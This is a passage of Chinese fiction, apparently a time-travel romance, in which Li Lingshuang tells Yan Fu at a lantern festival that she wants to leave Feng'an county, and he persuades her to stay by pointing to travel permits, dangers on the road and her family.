李令双转过头,看了他一眼。那双总是灵动带笑、闪着狡黠光芒的眸子里,此刻盛满了与这热闹节日格格不入的烦忧,还有一丝下定了某种决心的决绝。她咬了咬下唇道: “我……要离开丰安县了。” 燕扶一怔,心头那根弦像是被人猝然拨动,发出沉闷的回响。几乎是脱口而出:“为何?要去哪里?” “不知道。”李令双摇摇头,目光投向远处无垠的、被灯火映亮一小片的夜空,“就觉得……天地这么大,我好像不该只困在这一方小小的城墙里头。”她语气里的去意,听起来竟十分坚决,不似玩笑。 燕扶心头莫名一紧,像被什么东西攥了一下,泛起一阵陌生的、细微的酸涩。 他定了定神,压下那陌生的心绪,开始认真劝她,语气是少有的沉稳:“你想离开的心情,我能明白。但此事……绝非易事。” 他一条条分析给她听:“本朝户籍管理甚严,平民无故远行,需有官府开具的路引文书,这不是轻易能弄到的。” “你一女子独自上路,山高水远,途中可能遇到的盗匪、疾病、盘缠耗尽……处处都是难关。” 他顿了顿,声音放得更沉缓了些,带着不容置疑的现实考量:“更何况,你在此地尚有家人。你若骤然失踪,他们该如何焦急?” “李姑娘,此事还需从长计议,万不可凭一时冲动行事。” 他说的都是实情,一条条,一件件,都是这个时代一个普通女子想要挣脱既有轨道时,必然要撞上的铜墙铁壁。 李令双听着,眉头越皱越紧,方才那股不管不顾、想要逃离的冲动,像被针扎破的气球,嗤嗤地漏着气,渐渐瘪了下去。是啊,这不是那个买张车票、订个机票就能天南海北的现代。这里的“自由”,有太多她尚未准备好面对的重量。 她颓然地低下头,盯着自己鞋尖,闷闷地、不甘心地吐出一句:“好吧……那……我先不走。等等再看,总……总能想到办法的。” 夜风依旧习习,带着河水的湿气,吹动了她的衣摆,却吹不散少女眉间那抹愁绪。 那盏小小的莲花灯早已漂远,融入了迢迢的灯河之中,再也分辨不出了。